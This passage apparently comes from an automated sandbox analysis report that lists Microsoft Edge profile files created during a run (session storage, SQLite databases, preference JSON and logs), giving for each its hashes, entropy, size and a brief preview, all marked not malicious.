                                SSDEEP:
                                MD5:688F4C6AB446BD47B1C1CA3C0D9381BE
                                SHA1:60DFDC98A7FA47C4B2639E6A8475D2D01DA3894D
                                SHA-256:13708C159F6AB30BEF5981E1BE46FC37246D6275081D57557232D6E4F6CF33C8
                                SHA-512:8E6D144692A883DE5CE76882BF91FDFB87740B64DC32BD92A22971D05CA71B2B667396DD625CDD18D396A741D5198304E8F818B6FAA4065A693EBD3FABBF67E4
                                Malicious:false
                                Reputation:unknown
                                Preview:(...R(..oy retne..........................I5x/.

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):15408
                                Entropy (8bit):3.38645991868758
                                Encrypted:false
                                SSDEEP:
                                MD5:E42EFE6C776C8085D27C0C9CE8ADE4A3
                                SHA1:C6977D277686822C94ADC0ACB327E40B16E999AC
                                SHA-256:07AAA3E6D1DD6BE2597C944FD09389054413A2863BE655FD502B15FB654D9126
                                SHA-512:806576E23F548D02371804352F9EEAB065F407E6FA12D9BA2112204071680F4F1C72CFB5014361C4A7B4139BB5A5C65D738E9EF4F82D8024B4AD8415DB5E2D9A
                                Malicious:false
                                Reputation:unknown
                                Preview:*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............&Q..b................next-map-id.1.Cnamespace-964dd45f_1813_445e_9fcb_a86f2fb7c06e-https://ntp.msn.com/.0.(..................map-0-shd_sweeper.8{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.t.a.t.-.m.s.n.t.r.v.l.-.c.,.1.s.-.m.s.n.t.o.t.r.a.v.e.l.,.1.s.-.t.p.s.n.-.e.a.t.t.m.h.p.-.c.,.p.r.g.-.s.h.-.b.d.-.t.p.r.t.,.a.d.s.-.s.b.w.w.-.s.i.3.9.7.-.c.m.b.-.t.,.a.d.s.-.e.n.a.b.l.e.s.b.w.w.-.t.,.a.d.s.-.s.e.n.i.m.g.v.3.9.7.,.a.d.s.-.s.i.v.3.,.c.-.p.r.g.-.1.s.w.-.c.u.s.i.r.,.c.p.r.g.-.w.p.o.i.n.f.o.p.-.l.o.g.-.t.3.,.1.s.-.w.p.o.-.v.i.e.w.s.i.n.f.v.3.,.c.p.r.g.-.w.p.o.i.n.f.o.p.-.t.3.,.p.r.g.-.w.p.o.-.i.n.f.o.p.,.p.r.g.-.w.p.o.-.n.o.s.c.r.l.,.p.r.g.-.s.-.l.g.e.n.,.p.r.g.-.1.s.w.-.s.a.g.e.i.p.f.b.1.,.p.r.g.-.1.s.w.-.s.a.-.o.f.f.v.3.9.t.2.,.p.r.g.-.1.s.w.-.s.a.-.k.p.c.,.p.r.g.-.1.s.w.-.s.a.-.u.i.e.l.3.d.i.

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):317
                                Entropy (8bit):5.1742907875824296
                                Encrypted:false
                                SSDEEP:
                                MD5:B845BD5EF5ED248661F1FC56DA882BD0
                                SHA1:97C84185F2B336885D06F981AEE5E7FE7F88C955
                                SHA-256:0399CDD7E0052F173E116CA51287A2FB8D76E1DE87B227C4CC9E5F86D5D118A6
                                SHA-512:64A0D801126995D1ED3B8F871037FC6365DCA9EAC438A28F33EFB22C7BA8DA1D5D6F4276CF0064691D47E76D07A610D846C9CC7012C4D262FFC443EECE1D1394
                                Malicious:false
                                Reputation:unknown
                                Preview:2024/05/29-18:09:17.184 82c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/05/29-18:09:17.186 82c Recovering log #3.2024/05/29-18:09:17.189 82c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13361494159247386

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):17170
                                Entropy (8bit):3.5078743485627957
                                Encrypted:false
                                SSDEEP:
                                MD5:FF42D2685EBFF8FD4A094F8836EEF41C
                                SHA1:6A6A83360EAC0E4B901509120F3CB50F91C88C1D
                                SHA-256:415B07A9D580813D3EA56CAF588752162BF0D7CCD015B55148F3D00419FA9C04
                                SHA-512:C234BB7064E5395C57CA6E6C8ED39BD4E75D11AA9897E387817BB3E950E597701F08F992D6E55CAB473B9E6F80BF34CAC9EDDD2B8F726D29FB78BA61B8AA2FA5
                                Malicious:false
                                Reputation:unknown
                                Preview:SNSS.......5..3...........5..3......"5..3...........5..3.......5..3.......6..3.......6..3....!..6..3...............................5..36..31..,...6..3$...964dd45f_1813_445e_9fcb_a86f2fb7c06e...5..3.......6..3......P........5..3...5..3.......................5..3....................5..0...5..3&...{544A81F3-86CF-4601-B565-C8CB2CA3983A}.....5..3.......5..3.......................6..3...........6..3........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.........r.......r..................................... ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8...............................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
                                Category:dropped
                                Size (bytes):20480
                                Entropy (8bit):0.6531612926273399
                                Encrypted:false
                                SSDEEP:
                                MD5:F8AC97EBC7E292C5644506B7522978F9
                                SHA1:42D8D9131F874EFDF20E0DB424F15435C92468B2
                                SHA-256:B192F4D1CED71C7DC1BB8E6CB15EA1503F8C2E08F3F70826DF4079E95288D446
                                SHA-512:845DCAAEA94AB32B25F6B971DC42A33403CF3195DAAE2206422A8918F9FFCD7D70D4A319327B08F6BDFA91D7869F4C4AAD56385653D8E9C0006F6E7816C0BCE7
                                Malicious:false
                                Reputation:unknown
                                Preview:SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):100
                                Entropy (8bit):4.525875388957411
                                Encrypted:false
                                SSDEEP:
                                MD5:CC78FADDF6F207A2C51BCD6BBCEFB795
                                SHA1:D62C35827DFB820B8623FA49DF2528C74154E1A0
                                SHA-256:399E05F9F96D9FA1ADE3A534C10D3698DB1088D4013A8A4450C81A8F6E71FAC8
                                SHA-512:28DEA1E06F0E0F58B6D36AE7DC15DDDA9701FD99C692E916C655023BF069DD9F780C751B7934AF259AF1A2A5D7D438F9CEA5E8F3721A2D611AB6F7626EC78B2A
                                Malicious:false
                                Reputation:unknown
                                Preview:.On.!................database_metadata.16..5............... 806b9ba4c71ee770bde1effc5f33c190......

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):345
                                Entropy (8bit):5.1828913697483445
                                Encrypted:false
                                SSDEEP:
                                MD5:98CC694B6AB821640B8FDC285C763774
                                SHA1:0D58AE4EC4696B5DB78C9FF1477797A434F2307C
                                SHA-256:21F5C745B17D4DD6AD669D10716237353046705757F85924F149E00EDBF9C719
                                SHA-512:E41FB39B1C198C8E4F92D51D3FA394B78A0339269FCA4D9DFE9D8547A4BB11304A19910254E1C053DA3A68B80E56893F21BFF1D11EAB0783EEDE9E2FFE142B6B
                                Malicious:false
                                Reputation:unknown
                                Preview:2024/05/29-18:09:16.745 280 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/05/29-18:09:16.746 280 Recovering log #3.2024/05/29-18:09:16.747 280 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):427
                                Entropy (8bit):5.2406821441370806
                                Encrypted:false
                                SSDEEP:
                                MD5:FEF5A4E5EA89141A60641901594102BC
                                SHA1:217EE9C40765C7079FB79B5D6D1536CBE03FC9A7
                                SHA-256:527275CBBE843464AE20BC35D806A51243944B1803DFD10FCC4DF25D52C2890A
                                SHA-512:E40BF9E2E07AB534B3E8265D1007AC18ADC1D2878498F623A862C0225DB2D09740B10F06E8C4367AD724E8718A2DFD28985F0C9BFFB2DE36D56082830C9F20C6
                                Malicious:false
                                Reputation:unknown
                                Preview:2024/05/29-18:09:17.232 82c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/05/29-18:09:17.233 82c Recovering log #3.2024/05/29-18:09:17.238 82c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):0
                                Entropy (8bit):0.0
                                Encrypted:false
                                SSDEEP:
                                MD5:285252A2F6327D41EAB203DC2F402C67
                                SHA1:ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
                                SHA-256:5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
                                SHA-512:11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
                                Malicious:false
                                Reputation:unknown
                                Preview:{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\ff0f7ccd-8983-460c-aebb-697f0f16f704.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):111
                                Entropy (8bit):4.718418993774295
                                Encrypted:false
                                SSDEEP:
                                MD5:285252A2F6327D41EAB203DC2F402C67
                                SHA1:ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
                                SHA-256:5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
                                SHA-512:11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
                                Malicious:false
                                Reputation:unknown
                                Preview:{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):80
                                Entropy (8bit):3.4921535629071894
                                Encrypted:false
                                SSDEEP:
                                MD5:69449520FD9C139C534E2970342C6BD8
                                SHA1:230FE369A09DEF748F8CC23AD70FD19ED8D1B885
                                SHA-256:3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
                                SHA-512:EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
                                Malicious:false
                                Reputation:unknown
                                Preview:*...#................version.1..namespace-..&f.................&f...............

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):415
                                Entropy (8bit):5.239784339776217
                                Encrypted:false
                                SSDEEP:
                                MD5:BED6993E4E833671973B1B1B7EEFCEED
                                SHA1:C98926FD644CA87FC51BE34231C695B548C7A99B
                                SHA-256:BE09FF0148559EFFEDB7C56A4709A0AA989B5FFCAE1E232A09B707539AEE6AD1
                                SHA-512:CFFF40F4885BD9E96F4E7CC2B8DEE3DB6983C4CA7621E0BD5CF034F06BD7B2FC774BDA2106912ED2359E18D93BB254EBABBF5A4780ED67C6107F3EA634226EAE
                                Malicious:false
                                Reputation:unknown
                                Preview:2024/05/29-18:09:32.935 82c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/05/29-18:09:32.936 82c Recovering log #3.2024/05/29-18:09:32.939 82c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):321
                                Entropy (8bit):5.25296887095866
                                Encrypted:false
                                SSDEEP:
                                MD5:2C7AAFC9E736C76EC77A41AA525E680C
                                SHA1:6D313F554F0B88BBDC00FE7900530CF2C284B26D
                                SHA-256:B5A50D63C93B2C20381E1FA12569BDF48DF9968C59460E6542FA253AC49CDE30
                                SHA-512:D0A43965326741A4EC8946FC53B7494334F2A5984D2323FA71D866B52F44AB127DDDBC9D312A322CF119CB9837D0F3FE64864B7C1CA8F7552722BD747B5C104A
                                Malicious:false
                                Reputation:unknown
                                Preview:2024/05/29-18:09:16.760 cdc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/05/29-18:09:16.783 cdc Recovering log #3.2024/05/29-18:09:16.784 cdc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):131072
                                Entropy (8bit):0.006536823336477596
                                Encrypted:false
                                SSDEEP:
                                MD5:E9D1B79C3C8F7D6A4BFC7273201DD9CC
                                SHA1:979EF5F7889FA00C02BA7294F9F69DABC169A929
                                SHA-256:5F3F76539F9922F7AB246AC8B3667488C80E09FA77B8D21E2B1C63D38648779F
                                SHA-512:DC3B56C263EC4E1F97436C739FB4F37B398D27C677F75CB7A8E2BB2C2158699FB811AFCA07D7E05A518BFD0EC026DD9A1BC8B72AE6D195A451E1749F9A47769D
                                Malicious:false
                                Reputation:unknown
                                Preview:VLnk.....?.......v|..lON................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
                                Category:dropped
                                Size (bytes):196608
                                Entropy (8bit):1.2653984501487365
                                Encrypted:false
                                SSDEEP:
                                MD5:58B1842B7BA4E55DCE330A7AC62D3795
                                SHA1:66026E835FF09C0A4DB581583CF5929F42CB6EF8
                                SHA-256:D9ED89B8C0C7DB842C025271F88926967BEC96107B400DA902C020F0D1D133D4
                                SHA-512:A842D2EF90D508E0D70D3D946CC2FA7B4D2BDEE5DF0347652283ED04A420C231A30AF75C4331112BD6884C32D08C81D0C0172DCAE2CE35DAC2D4A20B5760ED84
                                Malicious:false
                                Reputation:unknown
                                Preview:SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 11, database pages 7, cookie 0xb, schema 4, UTF-8, version-valid-for 11
                                Category:dropped
                                Size (bytes):14336
                                Entropy (8bit):0.9990062667550106
                                Encrypted:false
                                SSDEEP:
                                MD5:2F21535C36D9417F43085F5BBD36E7BB
                                SHA1:40492CD6536394140D4507DE2C194BE023D559CD
                                SHA-256:DFADA8D661C92CCE60D2A878618DC6B853877808339AA03BE2CD86A746D5E2A4
                                SHA-512:B46E8ED8EAED7C3A543DF72FF6A36F1B571DCE5CFF4C31F3E8896411BA513E97FCEA149F3B0842F6BB1B8BE8B01472EB62BFEBA5734170F37D8DB4863CCA6E82
                                Malicious:false
                                Reputation:unknown
                                Preview:SQLite format 3......@ ..........................................................................j..................n..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
                                Category:dropped
                                Size (bytes):40960
                                Entropy (8bit):0.46576392594241844
                                Encrypted:false
                                SSDEEP:
                                MD5:51DF99B6C3F8D6D62EC66703CDB85E05
                                SHA1:ABD3D77A2412B0B16C9563B9A9221EACDBB1EF17
                                SHA-256:07173B89220DF984F607D0C19D1A9F3653DAEF02348E8DA5AE646C38DAC96265
                                SHA-512:FDEE3ADFFE1533BB9378A81A7503698E0505EDF3267BF8811C43704938CB33140F00F2F82C8EA3C580C7429380B9C29BD4BDFF4832287DE5039A6D2689BF14C6
                                Malicious:false
                                Reputation:unknown
                                Preview:SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text, with very long lines (3951), with CRLF line terminators
                                Category:dropped
                                Size (bytes):11755
                                Entropy (8bit):5.190465908239046
                                Encrypted:false
                                SSDEEP:
                                MD5:07301A857C41B5854E6F84CA00B81EA0
                                SHA1:7441FC1018508FF4F3DBAA139A21634C08ED979C
                                SHA-256:2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
                                SHA-512:00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b5373afb-caf0-44dc-aee7-6d2b4b1c527c.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):37702
                                Entropy (8bit):5.556879194776505
                                Encrypted:false
                                SSDEEP:
                                MD5:4B6F4BBF3E4CCC5DE490205CF99EF64B
                                SHA1:5EF202B2A5EEEA06074935903D9DB11F8DA77FF9
                                SHA-256:43B1E2DF06C82AE35899EA6FF5F866B48CC8DAC3BCE2BCC60AD25F804166CD44
                                SHA-512:AA8E78CD2A73698E59A33C449DC9DB38D422480266CEB30E483F637CFCC281E6EC6EC461E2618E6B9B037569A066505C26912C6FEB314E29B10E7A63C5A40D67
                                Malicious:false
                                Reputation:unknown
                                Preview:{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13361494156767528","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13361494156767528","location":5,"ma

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d377fbba-01bd-49a5-9cbc-481e0617bdd7.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):39546
                                Entropy (8bit):5.563196593106038
                                Encrypted:false
                                SSDEEP:
                                MD5:2DEF68B7C19F687C427D6425D62B27FF
                                SHA1:D861DF324F07EEB94BFED4697F207474D69242A8
                                SHA-256:6FC21291077BE95266EE97332711CD854F6AB5FA0084588875BEC7DCFE18D290
                                SHA-512:13D9E60EB2CD5BDC12FBD155B65C4036155B3B1B9B9ECB1984C6C12A2B1089CE0A6516F080B14DBDAE8955E0C7E4488976A775DFF28882A784E36B58A5C692C8
                                Malicious:false
                                Reputation:unknown
                                Preview:{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13361494156767528","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13361494156767528","location":5,"ma

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
                                Category:dropped
                                Size (bytes):28672
                                Entropy (8bit):0.3410017321959524
                                Encrypted:false
                                SSDEEP:
                                MD5:98643AF1CA5C0FE03CE8C687189CE56B
                                SHA1:ECADBA79A364D72354C658FD6EA3D5CF938F686B
                                SHA-256:4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
                                SHA-512:68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
                                Malicious:false
                                Reputation:unknown
                                Preview:SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f3478f96-cad6-4fd7-884b-d317c46d04cb.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text, with very long lines (16556), with no line terminators
                                Category:dropped
                                Size (bytes):16556
                                Entropy (8bit):5.435814721033065
                                Encrypted:false
                                SSDEEP:
                                MD5:255D3DAA1035D2C25421064964213886
                                SHA1:979DB150D8601FC446F1189AD0B3DE9C82991CB1
                                SHA-256:C57057F301A95DC60AE29551DEB1D58476DDEBF530197DA71E0BD7CBD5ABF945
                                SHA-512:8FCBB203DE2269F2D458E9F3087CD73055F316C404B0216BEC610F1BFA9B9C5BF8B3384CE3DFCE17B9442F9576E2492CE0494717EC3B80889CD69417E6628020
                                Malicious:false
                                Reputation:unknown
                                Preview:{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13361494157131103","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13341058280410352","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b6496

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):32768
                                Entropy (8bit):0.5264031475300742
                                Encrypted:false
                                SSDEEP:
                                MD5:0A86D7C001BA4503972AC1DD12C9895F
                                SHA1:9EB94D3EFA5C37AD4BF564E927CFB0829A329CBE
                                SHA-256:B114404ADA56854DA85ABCBD7F0ACAA1F75E1A479ED4ECFDF90F50468C143F43
                                SHA-512:4DBDAED1BB25831DAB3FD6777BD4EAEE247CBBBE4AA1B2E1C38DC10CC6C59B07627D5284A9223391B72D45E7C7B08AE9A20FA7E9EF870E5D82E30C5F86E7C52E
                                Malicious:false
                                Reputation:unknown
                                Preview:..-......................u~...9}^..>l_....]P`0.e..-......................u~...9}^..>l_....]P`0.e........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:SQLite Write-Ahead Log, version 3007000
                                Category:dropped
                                Size (bytes):2237192
                                Entropy (8bit):3.5072148934586274
                                Encrypted:false
                                SSDEEP:
                                MD5:972FD031D53DD45661B2F26A8F03C43A
                                SHA1:3914E67970146134ABB08B8A3FDF9A6A3B838023
